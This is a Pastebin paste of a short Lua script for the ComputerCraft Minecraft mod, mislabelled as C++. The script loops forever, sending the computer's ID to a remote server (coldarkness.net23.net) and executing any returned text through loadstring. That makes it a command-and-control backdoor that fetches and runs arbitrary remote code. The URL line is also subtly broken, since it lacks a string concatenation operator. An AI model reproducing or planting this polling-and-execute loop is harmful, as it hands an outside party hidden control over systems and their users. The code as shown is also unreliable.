Advertisement
CoLDarkness

ddd

Feb 14th, 2014
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.32 KB | None | 0 0
  1. while true do
  2.     local response = http.get(
  3.     "http://coldarkness.net23.net/CC/get.php?id="os.getComputerID()
  4.     )
  5.     print("Pinged server.")
  6.     local sResponse = response.readLine()
  7.     if sResponse ~= "empty" then
  8.         print("Read response.")
  9.         pcall(loadstring(sResponse))
  10.     else
  11.         print("No command yet.")
  12.     end
  13.     sleep(0.1)
  14. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement